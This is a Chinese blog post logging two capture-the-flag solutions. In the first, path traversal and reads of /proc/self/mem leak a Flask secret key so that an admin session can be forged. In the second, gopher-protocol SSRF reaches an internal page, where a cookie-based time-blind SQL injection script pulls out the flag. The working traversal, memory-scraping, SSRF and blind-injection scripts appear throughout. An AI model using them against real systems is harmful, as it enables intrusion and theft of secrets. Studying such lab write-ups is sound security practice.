刷题记录(二)

catcat-new

点击主页的一个链接
http://61.147.171.105:55571/info?file=Persiancat.txt
可能存在任意文件读取漏洞,读取/etc/passwd文件

读取当前进程的命令行参数?file=../../proc/self/cmdline,发现有一个通过python启动app.py的命令,得知网站使用的是python的flask框架。

读取app.py文件

得到源码:

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
 
flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"  # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh
if os.path.isfile("/flag"):  # 导入flag文件并删除掉
    flag = cat("/flag")
    os.remove("/flag")
 
 
@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])
 
    return render_template("index.html", cats_list=cats_list, cat=cat)
 
 
@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
 
    return render_template("detail.html", catname=name, info=cat(filename, start, end))
 
 
@app.route('/admin', methods=["GET"])  # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
    return "NoNoNo"
 
 
if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

flask_session的伪造需要用到源码中的SECRET_KEYSECRET_KEY的值可以通过内存数据获取,读取/proc/self/maps文件获取可读内容的内存映射地址。

源码中给出了搜索的思路,密钥以*abcdefgh结尾,因此执行以下脚本得到密钥:

# coding=utf-8
#----------------------------------
###################################
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
 
 
url = "http://yourURL/"
 
#此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
 
#----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key
        
class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            #Encode a Flask session cookie
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
#请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
    #匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        print("Found rw addr:", start, "-", end)
        
        #设置起始和结束位置并读取/proc/self/mem
        res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
        #用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
        if "*abcdefgh" in res.text:
            #正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                break
 

得到密钥:

用工具flask_session_cookie_manager伪造session,

访问/admin抓包修改session字段,得到flag。

very_easy_sql

启动环境是一个登陆界面

随便输入,提交,抓包

发现提示use.php,"you are not an inner user, so we can not let you have identify~"
访问use.php

程序接受用户输入的url,可以想到ssrf,利用特殊的协议来访问内部的资源。结合前面的提示,这里应该是使用gopher协议来实现内部访问,payload:

import urllib.parse

host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)

test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(host,content_length,content)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

得到的结果,在数据包中进行修改:

注意红色框部分,setcookie的值为admin的base64编码的值,猜测存在cookie注入,构造payload:

import urllib.parse

host = "127.0.0.1:80"
cookie="this_is_your_cookie=YWRtaW4nICM="

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test) 
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new) 
print("gopher://"+host+"/_"+result)

运行脚本的结果提交以后发现有报错:

最后基于时间的盲注,获取flag:

import urllib.parse
import requests
import time
import base64
url="http://yourURL/use.php?url="
flag=""
for pos in range(1,50):
    for i in range(33,127):
        #poc="') union select 1,2,if(1=1,sleep(5),1) # "
 
        #security
        #poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
 
        #flag
        #poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
        
        poc="') union select 1,2,if(ascii( substr((select * from flag),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
        
        bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
        final_poc="gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+bs+"%3B%250d%250a"
        t1=time.time()
        res=requests.get(url+final_poc)
        t2=time.time()
        if(t2-t1>2):
            flag+=chr(i)
            print(flag)
            break
print(flag)
posted @ 2023-08-07 23:27  ordigard  阅读(109)  评论(0编辑  收藏  举报